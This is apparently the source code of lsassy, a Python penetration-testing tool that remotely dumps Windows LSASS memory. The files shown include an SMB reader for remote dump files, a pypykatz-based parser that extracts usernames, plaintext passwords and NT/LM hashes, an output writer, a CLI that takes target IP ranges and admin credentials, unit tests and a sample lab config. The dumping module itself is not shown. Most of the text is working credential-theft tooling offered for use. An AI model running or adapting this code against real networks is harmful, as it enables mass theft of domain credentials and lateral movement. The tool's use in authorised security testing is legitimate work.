14 self._conn = connection
15 self._fpath = None
16 self._currentOffset = 0
17 self._total_read = 0
18 self._tid = None
19 self._fid = None
20 self._fileInfo = None
21 self._endOfFile = None
22
23 self._buffer_min_size = 1024 * 8
24 self._buffer_data = {
25 "offset": 0,
26 "size": 0,
27 "buffer": ""
28 }
29
30 def get_connection(self):
31 return self._conn
32
33 def open(self, path, timeout=3):
34 try:
35 share_name, fpath = self._parse_path(path)
36 except Exception as e:
37 return RetCode(ERROR_PATH_FILE, e)
38
39 self._fpath = fpath
40 try:
41 self._tid = self._conn.connectTree(share_name)
42 except Exception as e:
43 self.clean()
44 return RetCode(ERROR_SHARE, e)
45 try:
46 self._fid = self._conn.openFile(self._tid, self._fpath, timeout=timeout)
47 except Exception as e:
48 self.clean()
49 return RetCode(ERROR_FILE, e)
50 self._fileInfo = self._conn.queryInfo(self._tid, self._fid)
51 self._endOfFile = self._fileInfo.fields["EndOfFile"]
52 return self
53
54 def __exit__(self, exc_type, exc_val, exc_tb):
55 self.clean()
56
57 def read(self, size):
58 if size == 0:
59 return b''
60
61 if (self._buffer_data["offset"] <= self._currentOffset <= self._buffer_data["offset"] + self._buffer_data["size"]
62 and self._buffer_data["offset"] + self._buffer_data["size"] > self._currentOffset + size):
63 value = self._buffer_data["buffer"][self._currentOffset - self._buffer_data["offset"]:self._currentOffset - self._buffer_data["offset"] + size]
64 else:
65 self._buffer_data["offset"] = self._currentOffset
66
67 """
68 If data size is too small, read self._buffer_min_size bytes and cache them
69 """
70 if size < self._buffer_min_size:
71 value = self._conn.readFile(self._tid, self._fid, self._currentOffset, self._buffer_min_size)
72 self._buffer_data["size"] = self._buffer_min_size
73 self._total_read += self._buffer_min_size
74
75 else:
76 value = self._conn.readFile(self._tid, self._fid, self._currentOffset, size + self._buffer_min_size)
77 self._buffer_data["size"] = size + self._buffer_min_size
78 self._total_read += size
79
80 self._buffer_data["buffer"] = value
81
82 self._currentOffset += size
83
84 return value[:size]
85
86 def close(self):
87 self._log.debug("Closing Impacket file \"{}\"".format(self._fpath))
88 self._conn.closeFile(self._tid, self._fid)
89 self._conn.disconnectTree(self._tid)
90
91 def seek(self, offset, whence=0):
92 if whence == 0:
93 self._currentOffset = offset
94 elif whence == 1:
95 self._currentOffset += offset
96 elif whence == 2:
97 self._currentOffset = self._endOfFile - offset
98 else:
99 raise Exception('Seek function whence value must be between 0-2')
100
101 def tell(self):
102 return self._currentOffset
103
104 def size(self):
105 return self._endOfFile
106
107 def clean(self):
108 try:
109 self.close()
110 except Exception as e:
111 pass
112
113 @staticmethod
114 def _parse_path(fpath):
115 pattern = re.compile(r"^(?P<share_name>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$")
116 matches = pattern.search(fpath)
117 if matches is None:
118 raise Exception("{} is not valid. Expected format : shareName/path/to/dump (c$/Windows/Temp/lsass.dmp)".format(fpath))
119 return matches.groups()
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import sys
7
8
9 class Logger:
10 class Options:
11 def __init__(self, align=1, verbosity=0, quiet=False):
12 self.align = align
13 self.verbosity = verbosity
14 self.quiet = quiet
15
16 def __init__(self, target="", options=Options()):
17 self._target = target
18 self._align = options.align
19 self._verbosity = options.verbosity
20 self._quiet = options.quiet
21 if self._verbosity == 2:
22 # This part is to have impacket debug informations
23 import logging
24 from impacket.examples import logger
25 logger.init()
26 logging.getLogger().setLevel(logging.DEBUG)
27
28 def info(self, msg):
29 if not self._quiet:
30 if self._verbosity >= 1:
31 msg = "\n ".join(msg.split("\n"))
32 print("\033[1;34m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg))
33
34 def debug(self, msg):
35 if not self._quiet:
36 if self._verbosity >= 2:
37 msg = "\n ".join(msg.split("\n"))
38 print("\033[1;37m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg))
39
40 def warn(self, msg):
41 if not self._quiet:
42 if self._verbosity >= 1:
43 msg = "\n ".join(msg.split("\n"))
44 print("\033[1;33m[!]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg))
45
46 def error(self, msg):
47 if not self._quiet:
48 msg = "\n ".join(msg.split("\n"))
49 print("\033[1;31m[X]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg), file=sys.stderr)
50
51 def success(self, msg, output=True):
52 msg = "\n ".join(msg.split("\n"))
53 out = "\033[1;32m[+]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)
54 if not self._quiet:
55 if output:
56 print(out)
57 return out
58
59 def raw(self, msg):
60 print("{}".format(msg), end='')
61
62 @staticmethod
63 def highlight(msg):
64 return "\033[1;33m{}\033[0m".format(msg)
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6
7
8 from pypykatz.pypykatz import pypykatz
9
10 from lsassy.utils.defines import *
11
12
13 class Parser:
14 class Options:
15 def __init__(self, raw=False):
16 self.raw = raw
17
18 def __init__(self, dumpfile, options=Options()):
19 self._log = dumpfile.get_connection().get_logger()
20 self._dumpfile = dumpfile
21 self._raw = options.raw
22 self._credentials = []
23
24 def parse(self):
25 pypy_parse = pypykatz.parse_minidump_external(self._dumpfile)
26 self._dumpfile.close()
27
28 ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds']
29 for luid in pypy_parse.logon_sessions:
30
31 for ssp in ssps:
32 for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
33 domain = getattr(cred, "domainname", None)
34 username = getattr(cred, "username", None)
35 password = getattr(cred, "password", None)
36 LMHash = getattr(cred, "LMHash", None)
37 NThash = getattr(cred, "NThash", None)
38 if LMHash is not None:
39 LMHash = LMHash.hex()
40 if NThash is not None:
41 NThash = NThash.hex()
42 # Remove empty password, machine accounts and buggy entries
43 if self._raw:
44 self._credentials.append([ssp, domain, username, password, LMHash, NThash])
45 elif (not all(v is None or v == '' for v in [password, LMHash, NThash])
46 and username is not None
47 and not username.endswith('$')
48 and not username == ''):
49 self._credentials.append((ssp, domain, username, password, LMHash, NThash))
50 return RetCode(ERROR_SUCCESS)
51
52 def get_credentials(self):
53 return self._credentials
54
55 def clean(self):
56 return RetCode(ERROR_SUCCESS)
57
58
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 import json
6 from pathlib import Path
7
8 from lsassy.utils.utils import *
9 from lsassy.modules.logger import Logger
10
11
12 class Writer:
13 class Options:
14 def __init__(self, format="pretty", output_file=None, quiet=False):
15 self.format = format
16 self.output_file = output_file
17 self.quiet = quiet
18
19 def __init__(self, hostname, credentials, logger, options=Options()):
20 self._hostname = hostname
21 self._log = logger
22 self._credentials = credentials
23 self._format = options.format
24 self._file = options.output_file
25 self._quiet = options.quiet
26
27 @staticmethod
28 def _decode(data):
29 """
30 Ugly trick because of mixed content coming back from pypykatz
31 Can be either string, bytes, None
32 """
33 try:
34 return data.decode('utf-8', 'backslashreplace')
35 except:
36 return data
37
38 def get_output(self):
39 output = ""
40
41 if self._format == "json":
42 json_output = {}
43 for cred in self._credentials:
44 ssp, domain, username, password, lmhash, nthash = cred
45
46 domain = Writer._decode(domain)
47 username = Writer._decode(username)
48 password = Writer._decode(password)
49
50 if domain not in json_output:
51 json_output[domain] = {}
52 if username not in json_output[domain]:
53 json_output[domain][username] = []
54 credential = {
55 "password": password,
56 "lmhash": lmhash,
57 "nthash": nthash
58 }
59 if credential not in json_output[domain][username]:
60 json_output[domain][username].append(credential)
61 output = json.dumps(json_output)
62 elif self._format == "grep":
63 credentials = set()
64 for cred in self._credentials:
65 credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred]))
66 output = "\n".join(cred for cred in credentials)
67 elif self._format == "pretty":
68 if len(self._credentials) == 0:
69 self._log.warn('No credentials found')
70 output = "No credentials"
71 else:
72 max_size = max(len(c[1]) + len(c[2]) for c in self._credentials)
73 credentials = []
74 for cred in self._credentials:
75 ssp, domain, username, password, lmhash, nthash = cred
76 domain = Writer._decode(domain)
77 username = Writer._decode(username)
78 password = Writer._decode(password)
79 if password is None:
80 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
81 if [domain, username, password] not in credentials:
82 credentials.append([domain, username, password])
83 output += self._log.success(
84 "{}\\{}{}{}".format(
85 domain,
86 username,
87 " " * (max_size - len(domain) - len(username) + 2),
88 Logger.highlight(password)), output=False
89 )
90
91 elif self._format == "none":
92 pass
93 else:
94 return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format)))
95
96 return output
97
98 def write(self):
99 output = self.get_output()
100 if isinstance(output, int):
101 return output
102
103 if not self._quiet:
104 print(output, end="\n")
105 if self._file:
106 ret = self.write_file(output)
107 if not ret.success():
108 lsassy_warn(self._log, ret)
109 else:
110 self._log.info("Credentials saved to {}".format(self._file))
111
112 return RetCode(ERROR_SUCCESS)
113
114 def write_file(self, output):
115 path = Path(self._file).parent
116 if not os.path.isdir(path):
117 return RetCode(ERROR_OUTPUT_DIR_NOT_EXIST, Exception("Directory {} does not exist".format(path)))
118
119 with open(self._file, 'a+') as f:
120 f.write(output + "\n")
121 return RetCode(ERROR_SUCCESS)
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 ERROR_SUCCESS = (0, "")
6 ERROR_NO_CREDENTIAL_FOUND = (0, "Procdump could not be uploaded")
7
8 ERROR_MISSING_ARGUMENTS = (1, "")
9 ERROR_CONNECTION_ERROR = (2, "Connection error")
10 ERROR_ACCESS_DENIED = (3, "Access denied. Administrative rights on remote host are required")
11 ERROR_METHOD_NOT_SUPPORTED = (4, "Method not supported")
12 ERROR_LSASS_PROTECTED = (5, "Lsass is protected")
13 ERROR_SLOW_TARGET = (6, "Either lsass is protected or target might be slow or procdump/dumpert wasn't provided")
14 ERROR_LSASS_DUMP_NOT_FOUND = (7, "lsass dump file does not exist. Use -vv flag for more details")
15 ERROR_USER_INTERRUPTION = (8, "lsassy has been interrupted")
16 ERROR_PATH_FILE = (9, "Invalid path")
17 ERROR_SHARE = (10, "Error opening share")
18 ERROR_FILE = (11, "Error opening file")
19 ERROR_INVALID_FORMAT = (12, "Invalid format")
20 ERROR_DNS_ERROR = (13, "No DNS found to resolve this hostname")
21 ERROR_LOGIN_FAILURE = (14, "Authentication error")
22 ERROR_PROCDUMP_NOT_FOUND = (15, "Procdump path is not valid")
23 ERROR_PROCDUMP_NOT_PROVIDED = (16, "Procdump was not provided")
24 ERROR_PROCDUMP_NOT_UPLOADED = (17, "Procdump could not be uploaded")
25 ERROR_DLL_NO_EXECUTE = (18, "Could not execute commands on remote host via DLL method")
26 ERROR_PROCDUMP_NO_EXECUTE = (19, "Could not execute commands on remote host via Procdump method")
27 ERROR_DUMPERT_NO_EXECUTE = (20, "Could not execute commands on remote host via Dumpert method")
28 ERROR_DUMPERT_NOT_FOUND = (21, "dumpert path is not valid")
29 ERROR_DUMPERT_NOT_PROVIDED = (22, "dumpert was not provided")
30 ERROR_DUMPERT_NOT_UPLOADED = (23, "dumpert could not be uploaded")
31 ERROR_OUTPUT_FORMAT_INVALID = (24, "Output format is not valid")
32 ERROR_OUTPUT_DIR_NOT_EXIST = (25, "Output directory does not exist")
33
34 # Cleaning errors
35 ERROR_DUMP_CLEANING = (100, "Error while cleaning lsass dump")
36 ERROR_PROCDUMP_CLEANING = (101, "Error while cleaning procdump")
37 ERROR_DUMPERT_CLEANING = (102, "Error while cleaning dumpert")
38 ERROR_CONNECTION_CLEANING = (103, "Error while cleaning connection")
39
40 ERROR_UNDEFINED = (-1, "Unknown error")
41
42
43 class RetCode:
44 def __init__(self, error, exception=None):
45 self.error_code = error[0]
46 self.error_msg = error[1]
47 self.error_exception = exception
48
49 def success(self):
50 return self.error_code == 0
51
52 def __str__(self):
53 return "{} : {}".format(self.error_code, self.error_msg)
54
55 def __eq__(self, other):
56 if isinstance(other, RetCode):
57 return self.error_code == other.error_code
58 elif isinstance(other, int):
59 return self.error_code == other
60 return NotImplemented
61
62 def __ne__(self, other):
63 x = self.__eq__(other)
64 if x is not NotImplemented:
65 return not x
66 return NotImplemented
67
68 def __hash__(self):
69 return hash(tuple(sorted(self.__dict__.items())))
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 import os
6 import sys
7 import argparse
8
9 import pkg_resources
10 from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
11
12 from lsassy.utils.defines import *
13
14 version = pkg_resources.require("lsassy")[0].version
15
16
17 def get_args():
18 examples = '''example:
19 lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.0/24
20 '''
21
22 parser = argparse.ArgumentParser(
23 prog="lsassy",
24 description='lsassy v{} - Remote lsass dump reader'.format(version),
25 epilog=examples,
26 formatter_class=argparse.RawTextHelpFormatter
27 )
28
29 group_dump = parser.add_argument_group('dump')
30 group_dump.add_argument('-m', '--method', action='store', default=1, type=int, help='''Dumping method
31 0: Try all methods (dll then procdump then dumpert) to dump lsass, stop on success (Requires -p if dll method fails, -u if procdump method fails)
32 1: comsvcs.dll method, stop on success (default)
33 2: Procdump method, stop on success (Requires -p)
34 3: comsvcs.dll + Powershell method, stop on success
35 4: comsvcs.dll + cmd.exe method
36 5: (unsafe) dumpert method, stop on success (Requires -u)''')
37 group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
38 group_dump.add_argument('--procdump', action='store', help='Procdump path')
39 group_dump.add_argument('--dumpert', action='store', help='dumpert path')
40 group_dump.add_argument('--timeout', default=10, type=int, action='store',
41 help='Timeout before considering lsass was not dumped successfully')
42
43 group_auth = parser.add_argument_group('authentication')
44 group_auth.add_argument('-u', '--username', action='store', help='Username')
45 group_auth.add_argument('-p', '--password', action='store', help='Plaintext password')
46 group_auth.add_argument('-d', '--domain', default="", action='store', help='Domain name')
47 group_auth.add_argument('-H', '--hashes', action='store', help='[LM:]NT hash')
48 group_auth.add_argument('-k', '--kerberos', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
49 '(KRB5CCNAME) based on target parameters. If valid credentials '
50 'cannot be found, it will use the ones specified in the command '
51 'line')
52 group_auth.add_argument('-dc-ip', action='store', metavar="ip address",
53 help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
54 'the target parameter')
55 group_auth.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
56 '(128 or 256 bits)')
57
58 group_out = parser.add_argument_group('output')
59 group_out.add_argument('-o', '--outfile', action='store', help='Output credentials to file')
60 group_out.add_argument('-f', '--format', choices=["pretty", "json", "grep", "none"], action='store', default="pretty", help='Output format (Default pretty)')
61
62 parser.add_argument('-r', '--raw', action='store_true',
63 help='No basic result filtering (Display host credentials, duplicates and empty pass)')
64 parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)')
65 parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
66 parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
67 parser.add_argument('target', nargs='*', type=str, action='store', help='The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets')
68
69 if len(sys.argv) == 1:
70 parser.print_help()
71 sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)
72
73 args = parser.parse_args()
74
75 if not args.target:
76 parser.print_help()
77 sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)
78
79 return args
80
81
82 def lsassy_exit(logger, error):
83 if error.error_msg:
84 logger.error(error.error_msg)
85 if error.error_exception:
86 logger.debug("Error : {}".format(error.error_exception))
87
88
89 def lsassy_warn(logger, error):
90 if error.error_msg:
91 logger.warn(error.error_msg)
92 if error.error_exception:
93 logger.debug("Error : {}".format(error.error_exception))
94
95
96 def is_valid_ip(ip):
97 ip = ip.split(".")
98 if len(ip) != 4:
99 return False
100 return all([0 <= int(t) <= 255 for t in ip])
101
102
103 def get_log_max_spaces(targets):
104 return max(len(t) for t in targets) + 4
105
106
107 def get_log_spaces(target, spaces):
108 return spaces - len(target)
109
110
111 def parse_targets(target):
112 if '-' in target:
113 ip_range = target.split('-')
114 try:
115 t = IPRange(ip_range[0], ip_range[1])
116 except AddrFormatError:
117 try:
118 start_ip = IPAddress(ip_range[0])
119
120 start_ip_words = list(start_ip.words)
121 start_ip_words[-1] = ip_range[1]
122 start_ip_words = [str(v) for v in start_ip_words]
123
124 end_ip = IPAddress('.'.join(start_ip_words))
125
126 t = IPRange(start_ip, end_ip)
127 except AddrFormatError:
128 t = target
129 else:
130 try:
131 t = IPNetwork(target)
132 except AddrFormatError:
133 t = target
134 if type(t) == IPNetwork or type(t) == IPRange:
135 return list(t)
136 else:
137 return [t.strip()]
138
139
140 def get_targets(targets):
141 ret_targets = []
142 for target in targets:
143 if os.path.exists(target):
144 with open(target, 'r') as target_file:
145 for target_entry in target_file:
146 ret_targets += parse_targets(target_entry)
147 else:
148 ret_targets += parse_targets(target)
149 return [str(ip) for ip in ret_targets]
150
151
152 def join_jobs(jobs):
153 for job in jobs:
154 try:
155 job.join()
156 except Exception as e:
157 pass
158
159
160 def terminate_jobs(jobs):
161 for job in jobs:
162 try:
163 job.terminate()
164 except Exception as e:
165 pass
0 impacket
1 netaddr
2 pypykatz>=0.3.0
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import pathlib
7
8 from setuptools import setup, find_packages
9
10 HERE = pathlib.Path(__file__).parent
11 README = (HERE / "README.md").read_text()
12
13 setup(
14 name="lsassy",
15 version="2.1.2",
16 author="Pixis",
17 author_email="[email protected]",
18 description="Python library to parse remote lsass dumps",
19 long_description=README,
20 long_description_content_type="text/markdown",
21 packages=find_packages(exclude=["assets", "cme"]),
22 include_package_data=True,
23 url="https://github.com/hackanddo/lsassy",
24 zip_safe = True,
25 license="MIT",
26 install_requires=[
27 'impacket',
28 'netaddr',
29 'pypykatz>=0.3.0'
30 ],
31 python_requires='>=3.6',
32 classifiers=(
33 "Programming Language :: Python :: 3.6",
34 "Programming Language :: Python :: 3.7",
35 "Programming Language :: Python :: 3.8",
36 "Programming Language :: Python :: 3.9",
37 "License :: OSI Approved :: MIT License",
38 "Operating System :: OS Independent",
39 ),
40 entry_points={
41 'console_scripts': [
42 'lsassy = lsassy.core:run',
43 ],
44 },
45 test_suite='tests.tests'
46 )
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
0 #!/usr/bin/env python3
1 # Author:
2 # Romain Bentz (pixis - @hackanddo)
3 # Website:
4 # https://beta.hackndo.com
5
6
7 import unittest
8
9 from lsassy.utils.defines import *
10 from lsassy.modules.dumper import Dumper
11 from lsassy.modules.impacketconnection import ImpacketConnection
12 from lsassy.modules.impacketfile import ImpacketFile
13 from lsassy.modules.logger import Logger
14 from lsassy.modules.writer import Writer
15 from lsassy.core import Lsassy
16 from tests.tests_config import *
17
18
19 class test_impacketconnection(unittest.TestCase):
20 def setUp(self):
21 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
22 self.conn = None
23
24 def tearDown(self):
25 if isinstance(self.conn, ImpacketConnection):
26 self.conn.clean()
27
28 def test_login_dns_error(self):
29 self.conn = ImpacketConnection(ImpacketConnection.Options("pixis.hackndo", domain, da_login, da_password))
30 self.conn.set_logger(self.log)
31 ret = self.conn.login()
32 self.assertIsInstance(ret, RetCode)
33 self.assertEqual(ERROR_DNS_ERROR[1], ret.error_msg)
34
35 @unittest.skipUnless(kerberos, "Skipping Kerberos (Set kerberos=True to incude Kerberos tests)")
36 def test_login_kerberos_success(self):
37 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password, '', '', kerberos, domain_controller))
38 self.conn.set_logger(self.log)
39 ret = self.conn.login()
40 self.assertIsInstance(ret, RetCode)
41 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
42
43 def test_login_connection_error(self):
44 self.conn = ImpacketConnection(ImpacketConnection.Options("255.255.255.255", domain, da_login, da_password))
45 self.conn.set_logger(self.log)
46 ret = self.conn.login()
47 self.assertIsInstance(ret, RetCode)
48 self.assertEqual(ERROR_CONNECTION_ERROR[1], ret.error_msg)
49
50 def test_login_login_error(self):
51 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, "wrong_password"))
52 self.conn.set_logger(self.log)
53 ret = self.conn.login()
54 self.assertIsInstance(ret, RetCode)
55 self.assertEqual(ERROR_LOGIN_FAILURE[1], ret.error_msg)
56
57 def test_login_login_success(self):
58 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
59 self.conn.set_logger(self.log)
60 ret = self.conn.login()
61 self.assertIsInstance(ret, RetCode)
62 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
63
64 def test_is_admin(self):
65 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
66 self.conn.set_logger(self.log)
67 self.conn.login()
68 ret = self.conn.isadmin()
69 self.assertIsInstance(ret, RetCode)
70 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
71
72 @unittest.skipUnless(usr_login and usr_password, "No low privileged user credential provided")
73 def test_is_admin_error(self):
74 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, usr_login, usr_password))
75 self.conn.set_logger(self.log)
76 self.conn.login()
77 ret = self.conn.isadmin()
78 self.assertIsInstance(ret, RetCode)
79 self.assertEqual(ERROR_ACCESS_DENIED[1], ret.error_msg)
80
81
82 class test_impacketfile(unittest.TestCase):
83 def setUp(self):
84 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
85 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
86 self.conn.set_logger(self.log)
87 self.conn.login()
88 self.ifile = ImpacketFile(self.conn, self.log)
89
90 def tearDown(self):
91 self.ifile.clean()
92 self.conn.clean()
93
94 def test_path_error(self):
95 ret = self.ifile.open("RANDOM")
96 self.assertIsInstance(ret, RetCode)
97 self.assertEqual(ERROR_PATH_FILE[1], ret.error_msg)
98
99 def test_share_error(self):
100 ret = self.ifile.open("RANDOM/path/file")
101 self.assertIsInstance(ret, RetCode)
102 self.assertEqual(ERROR_SHARE[1], ret.error_msg)
103
104 def test_file_error(self):
105 ret = self.ifile.open("C$/path/file")
106 self.assertIsInstance(ret, RetCode)
107 self.assertEqual(ERROR_FILE[1], ret.error_msg)
108
109 def test_file_success(self):
110 ret = self.ifile.open("C$/Windows/System32/calc.exe")
111 ret.clean()
112 self.assertIsInstance(ret, ImpacketFile)
113
114
115 class test_dumper(unittest.TestCase):
116 def setUp(self):
117 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
118 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
119 self.conn.set_logger(self.log)
120 self.conn.login()
121
122 def tearDown(self):
123 self.conn.clean()
124
125 """
126 DLL Method
127 """
128 def test_dll_dump_invalid_shell(self):
129 ret = Dumper(self.conn).dll_dump(("wmi",), "unknown")
130 self.assertIsInstance(ret, RetCode)
131 self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg)
132
133 def test_dll_execute_error(self):
134 ret = Dumper(self.conn).dll_dump((), "cmd")
135 self.assertIsInstance(ret, RetCode)
136 self.assertEqual(ERROR_DLL_NO_EXECUTE[1], ret.error_msg)
137
138 def test_dll_execute_success(self):
139 ret = Dumper(self.conn).dll_dump(("task",), "cmd")
140 self.assertIsInstance(ret, RetCode)
141 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
142
143 """
144 Procdump Method
145 """
146 def test_procdump_missing_parameter(self):
147 ret = Dumper(self.conn).procdump_dump(("wmi",))
148 self.assertIsInstance(ret, RetCode)
149 self.assertEqual(ERROR_PROCDUMP_NOT_PROVIDED[1], ret.error_msg)
150
151 def test_procdump_invalid_parameter(self):
152 dump_option = Dumper.Options()
153 dump_option.procdump_path = "/invalid/path"
154 ret = Dumper(self.conn, dump_option).procdump_dump(())
155 self.assertIsInstance(ret, RetCode)
156 self.assertEqual(ERROR_PROCDUMP_NOT_FOUND[1], ret.error_msg)
157
158 @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
159 def test_procdump_upload_error(self):
160 dump_option = Dumper.Options()
161 dump_option.procdump_path = procdump_path
162 dump_option.share = "INVALID_SHARE"
163 ret = Dumper(self.conn, dump_option).procdump_dump(())
164 self.assertIsInstance(ret, RetCode)
165 self.assertEqual(ERROR_PROCDUMP_NOT_UPLOADED[1], ret.error_msg)
166
167 @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
168 def test_procdump_execute_error(self):
169 dump_option = Dumper.Options()
170 dump_option.procdump_path = procdump_path
171 dump = Dumper(self.conn, dump_option)
172 ret = dump.procdump_dump(())
173 self.assertIsInstance(ret, RetCode)
174 self.assertEqual(ERROR_PROCDUMP_NO_EXECUTE[1], ret.error_msg)
175 dump.clean()
176
177 """
178 Dumpert Method
179 """
180 def test_dumpert_missing_parameter(self):
181 ret = Dumper(self.conn).dumpert_dump(("wmi",))
182 self.assertIsInstance(ret, RetCode)
183 self.assertEqual(ERROR_DUMPERT_NOT_PROVIDED[1], ret.error_msg)
184
185 def test_dumpert_invalid_parameter(self):
186 dump_option = Dumper.Options()
187 dump_option.dumpert_path = "/invalid/path"
188 ret = Dumper(self.conn, dump_option).dumpert_dump(())
189 self.assertIsInstance(ret, RetCode)
190 self.assertEqual(ERROR_DUMPERT_NOT_FOUND[1], ret.error_msg)
191
192 @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided")
193 def test_dumpert_upload_error(self):
194 dump_option = Dumper.Options()
195 dump_option.dumpert_path = dumpert_path
196 dump_option.share = "INVALID_SHARE"
197 ret = Dumper(self.conn, dump_option).dumpert_dump(())
198 self.assertIsInstance(ret, RetCode)
199 self.assertEqual(ERROR_DUMPERT_NOT_UPLOADED[1], ret.error_msg)
200
201 @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided")
202 def test_dumpert_execute_error(self):
203 dump_option = Dumper.Options()
204 dump_option.dumpert_path = dumpert_path
205 dumper = Dumper(self.conn, dump_option)
206 ret = dumper.dumpert_dump(())
207 self.assertIsInstance(ret, RetCode)
208 self.assertEqual(ERROR_DUMPERT_NO_EXECUTE[1], ret.error_msg)
209 dumper.clean()
210
211 """
212 Dump generic
213 """
214 def test_dump_method_unknown(self):
215 dump_option = Dumper.Options()
216 dump_option.method = 99
217 ret = Dumper(self.conn, dump_option).dump()
218 self.assertIsInstance(ret, RetCode)
219 self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg)
220
221 def test_dump_success(self):
222 dumper = Dumper(self.conn)
223 ret = dumper.dump()
224 dumper.clean()
225 self.assertIsInstance(ret, RetCode)
226 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
227
228
229
230
231 @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
232 @unittest.skipUnless(protected_target, "No IP address with protected LSASS was provided")
233 class test_dumper_protected(unittest.TestCase):
234 def setUp(self):
235 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
236 self.conn = ImpacketConnection(ImpacketConnection.Options(protected_target, domain, da_login, da_password))
237 self.conn.set_logger(self.log)
238 self.conn.login()
239
240 def tearDown(self):
241 self.conn.clean()
242
243 def test_dump_protected(self):
244 dump_option = Dumper.Options()
245 dump_option.method = 2
246 dump_option.procdump_path = procdump_path
247 dumper = Dumper(self.conn, dump_option)
248 ret = dumper.dump()
249 self.assertIsInstance(ret, RetCode)
250 self.assertEqual(ERROR_LSASS_PROTECTED[1], ret.error_msg)
251 dumper.clean()
252
253 class test_lsassy(unittest.TestCase):
254 def setUp(self):
255 log_options = Logger.Options(verbosity=0, quiet=True)
256 write_options = Writer.Options(format="none")
257 self.lsassy = Lsassy(target, da_login, domain, da_password, log_options=log_options, write_options=write_options)
258
259 def tearDown(self):
260 self.lsassy.clean()
261
262 def test_lsassy_success(self):
263 ret = self.lsassy.run()
264 self.assertEqual(0, ret)
265
266
267 if __name__ == '__main__':
268 unittest.main()
269
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 """
6 RENAME THIS FILE TO tests_config.py
7 """
8
9 # Include Kerberos authentication tests
10 # This test requires to have a valid TGT for a local admin set in KRB5CCNAME
11 # See https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage#kerberos
12 kerberos = False
13
14 # Domain controller FQDN or IP, only needed if kerberos set to True
15 domain_controller = "192.168.1.101"
16
17 # If kerberos is set to True, FQDN of a valid target. IP address otherwise.
18 target = "dc01.adsec.local"
19
20 # If kerberos is set to True, FQDN of target where LSASS is protected. IP address otherwise. (empty to skip tests)
21 protected_target = "protected_server.adsec.local"
22
23 # Domain Name
24 domain = "adsec.local"
25
26 # User with admin rights on target and protected_target
27 da_login = "jdoe"
28 da_password = "p4ssw0rd"
29
30 # User without admin rights on target (empty to skip tests)
31 usr_login = "msmith"
32 usr_password = "n0rights4U"
33
34 # Local tools for dumping methods (empty to skip tests)
35 procdump_path = "/opt/procdump.exe"
36 dumpert_path = "/opt/dumpert.exe"